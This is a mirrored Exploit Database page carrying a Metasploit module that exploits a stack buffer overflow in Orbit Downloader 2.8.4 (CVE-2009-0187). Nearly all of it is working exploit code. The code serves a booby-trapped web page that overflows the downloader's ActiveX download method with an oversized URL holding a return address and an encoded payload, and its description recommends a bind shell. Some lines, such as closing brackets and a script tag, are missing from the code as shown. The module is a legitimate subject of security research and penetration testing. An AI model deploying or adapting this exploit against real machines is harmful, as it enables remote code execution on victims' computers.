Orbit Downloader – Connecting Log Creation Buffer Overflow (Metasploit)

Exploit Database
116 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16569/

100

# $Id: orbit_connecting.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Orbit Downloader Connecting Log Creation Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an

attacker serves up a malicious web site, abritrary code may be executed.

The PAYLOAD windows/shell_bind_tcp works best.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2009-0187' ],

[ 'OSVDB', '52294' ],

[ 'BID', '33894' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 750,

'BadChars'=> "\x00\x09\x0a\x0d'\\&",

'StackAdjustment' => -3500,

'PrependEncoder'=> "\x81\xc4\x54\xf2\xff\xff",

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'DisableNops'=>'True',

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2',{ 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6

'DisclosureDate' => 'Feb 3 2009',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer

sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"

# Build out the message

content = %Q|<html>

var #{vname} = document.getElementById('#{vname}');

var #{strname} = new String('#{sploit}');

#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);

</script>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end